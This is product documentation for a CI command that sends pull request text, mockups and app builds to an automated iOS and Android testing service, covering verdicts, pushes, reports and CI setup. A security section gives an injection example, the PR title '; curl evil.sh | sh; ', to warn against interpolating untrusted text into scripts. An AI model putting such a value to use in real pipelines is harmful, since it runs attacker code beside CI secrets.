Skip to main content
A PR check from CI tests one pull request from what your pipeline sends: its title, its description and ticket, the images you attach, and the builds you already make. Mini works out what to check, tries the change on iOS and Android with a recording of each, and answers with a verdict your job can fail on. Minitap never reads your code, so it fits teams whose CI uploads builds but who haven’t connected their repository. If Minitap is installed on your GitHub organization, the pull request comment and check may be all you need.
The command prints the link to the report first, follows the check live, and exits with a code that says whether the pull request is ready.

How a check goes

1

Your CI sends the pull request

The command uploads the builds you pass, sends the text and images, and prints the report link. One check exists per app and pull request: sending the same pull request again adds a new push to it.
2

Mini plans the checks

In a minute or two, Mini reads your text and images next to what it already knows: the scenarios of your suite, the app’s Memory, your test accounts and the open Issues. It writes a plan in two groups: The change, at least one check per behavior the pull request describes, and Impact, a few checks on what the change could break, each saying why. Every check has concrete steps and the outcome Mini expects.
3

Mini tries the change on each platform

With both builds, iOS and Android run at the same time, each on its own device with its own recording. Every check gets a verdict per platform, what Mini expected, what it saw, and the moment in the recording. This part takes about 20 minutes.
4

The verdict ends the job

The command prints the verdict, writes the report and exits. Your CI doesn’t wait for anything else.
5

Mini prepares the suite changes

After the verdict, Mini drafts the scenario changes this pull request calls for and holds them until you say whether it merged. See When the pull request merges or closes.

Before you start

One platform is enough. With only an Android build, Mini tests Android and the report shows no iOS column, rather than a failed one.

minitest pr check

What Mini reads

  • The context file is what Mini tests against, so put the ticket’s acceptance criteria in it, not only the description. A file over 10,000 characters is refused with an error and nothing is sent: shorten it yourself and keep the criteria.
  • Attachments can be png, jpg, gif, webp or pdf, up to 10 MB each. Any other file, or a larger one, is skipped with a warning and the check goes on. Mini uses a mockup to know what the screen should look like.
  • Commits are optional. They help Mini pick what to re-check on a later push.
The command doesn’t give up on a dropped connection: it reconnects and picks up where it was, and prints a line at least every minute so your CI doesn’t think it hung. Colors are off when the output isn’t a terminal.

Verdicts and exit codes

When --timeout is reached, the check itself keeps running: open the report, or run minitest-cli pr wait <pr> to get the final code. Each check has its own verdict on each platform: A question doesn’t hold up the rest: Mini goes on with the other checks and marks the unclear one as waiting for an answer. Answer it in the check’s draft, from Open the session on the report. On the next push, Mini re-tests that check first, with your answer. A device problem on our side marks that platform’s checks as errored, never as passed. If nothing could be tested at all, the verdict is errored.

On GitHub Actions

Use this workflow when your code is on GitHub but Minitap isn’t installed on the organization. It builds the app, writes the pull request text to a file, and runs the check.
.github/workflows/minitap-pr-check.yml
On GitHub Actions the command adds a few things on its own: a collapsible log group per phase (::group::), an error annotation per critical check (::error::), and the Markdown report on the job’s summary page ($GITHUB_STEP_SUMMARY). Keep timeout-minutes well above the length of a check. Mini needs about 20 minutes to try the change, plus the build upload.

Pass the pull request text safely

Anyone who opens a pull request writes its title and description. Treat both as untrusted input: they must reach the CLI as data, never as part of a command.
Never write ${{ github.event.pull_request.title }} or ${{ github.event.pull_request.body }} inside a run: script. GitHub pastes the text into the script before the shell reads it, so a title like "; curl evil.sh | sh; " runs on your runner, next to your API key.
Three rules cover every CI:
  1. Pass the fields through environment variables. On GitHub Actions, map them in env: as in the workflow above; the shell then reads them as plain values.
  2. Write long text to a file and give the file to the CLI: printf '%s\n' "$PR_BODY" > pr.md. printf '%s' writes the text as it is, where echo may read backslashes and leading dashes.
  3. Quote every variable: --title "$PR_TITLE", never --title $PR_TITLE.
The same goes for other fields the author controls, such as the branch name and commit messages. Jenkins has its own version of the trap: in a sh "…${env.CHANGE_TITLE}…" step with double quotes, Groovy pastes the title in before the shell runs. Use single quotes so the shell reads $CHANGE_TITLE itself, as in the Jenkins example below.

Any other CI

Commit this script as ci/pr-check.sh. It reads everything from environment variables, so each CI only maps its own names to them.
ci/pr-check.sh
Add MINITEST_API_KEY as a masked variable in Settings → CI/CD → Variables. The job runs on merge request pipelines, and the shell reads GitLab’s variables at run time.
.gitlab-ci.yml

A new push

Run the same command on every push. The pull request keeps one check and one report, and each push is added to it. If the previous push is still being checked, it’s cancelled. Mini doesn’t start from scratch:
  1. Checks that were critical, had a warning or waited for an answer are re-tested first.
  2. Checks in the areas the new commits name, or that the changed description touches, are re-tested too, and new criteria get new checks.
  3. The rest keep their result from the earlier push.
The report tags each check with what happened: Fixed in a commit, Still failing, Re-checked in a commit, or From the push it was carried over from. Add --full to re-run every check on this push.

When the pull request merges or closes

After the verdict, Mini drafts the suite changes the pull request calls for: scenarios to edit, new scenarios, scenarios to delete. Each change links to its proof, the check and the moment in the recording, and Mini checks it once on a device. A new push updates these changes instead of adding new ones. Nothing reaches your suite until your CI says how the pull request ended: Run them from the pipeline that runs on merge, and from whatever your CI does when a pull request is declined. None of this holds up the check job, which ended with the verdict.

The report

The link the command prints first opens the full report in the dashboard:
It shows the verdict, the title with the pull request number and ticket key, and a menu to switch between pushes, listed by short commit SHA with the latest first. Pick a platform to see its build version and verdict. The checks are on the left, grouped into The change and Impact; the recording stays on the right, and clicking a check jumps to the moment it was tested. A Known issue opens the matching Issue. Copy link copies the address to share with QA or the author, and Open the session opens the draft, which becomes Review N suite changes once Mini has prepared them. The page updates live while the check runs. The same report is in the check’s draft on the Workbench, on the PR report tab next to Device, with Open full report to get to the page. Its Suite changes tab lists the scenario edits Mini proposes, each with a link to the moment of the recording it is based on. The Markdown report from --report-file puts the verdict first, then a table of checks by platform, details for each check that didn’t pass with links into the recording, and the report link last.

Set up for a team without GitHub access

This walkthrough fits a team whose code lives outside Minitap’s reach, with tickets in Jira and a CI like Bitrise or Jenkins that already builds both apps for each pull request.
1

Store the API key

Create a workspace API key in Settings → API keys and store it as a secret in your CI, named MINITEST_API_KEY. Add MINITEST_APP_ID next to it.
2

Build both apps for the pull request

Have the pull request pipeline make an iOS simulator .ipa and an Android .apk (or .aab) from the pull request’s commit. Mini tests exactly what you upload.
3

Put the ticket key in the title

Start the pull request title with the Jira key, like SHOP-231 Resume playback where the listener left off. The report shows the key, and your QA team can find the check from the ticket.
4

Write the context file

Write the description and the ticket’s acceptance criteria to pr.md, as in the example below. Numbered criteria give the clearest plan: Mini writes at least one check for each.
5

Attach the mockups

Export the design frames for the change as PNG files into a folder, here pr-assets/, and the script attaches them. Mini compares the screens it reaches with them.
6

Add the check step

Commit ci/pr-check.sh and call it after the build step, with the pull request number and title mapped to PR_NUMBER and PR_TITLE and the build paths to IOS_BUILD and ANDROID_BUILD. Follow the safety rules for the title and description.
7

Report merges and declines

In the pipeline that runs after a merge, call minitest-cli pr merged <pr>. When a pull request is declined, call minitest-cli pr closed <pr>.
8

Try it on one pull request

Open the report link from the job log. Check that the plan covers each criterion, then watch a check or two in the recording before you let the job block merges.
A context file for that pull request:
pr.md

Next steps

Run in CI

Run the whole suite from your pipeline and gate a release on it.

API keys

Create and revoke the keys your CI signs in with.

Workbench

Where the suite changes from a check wait for review.

Issues

The open Issues a check marks as known.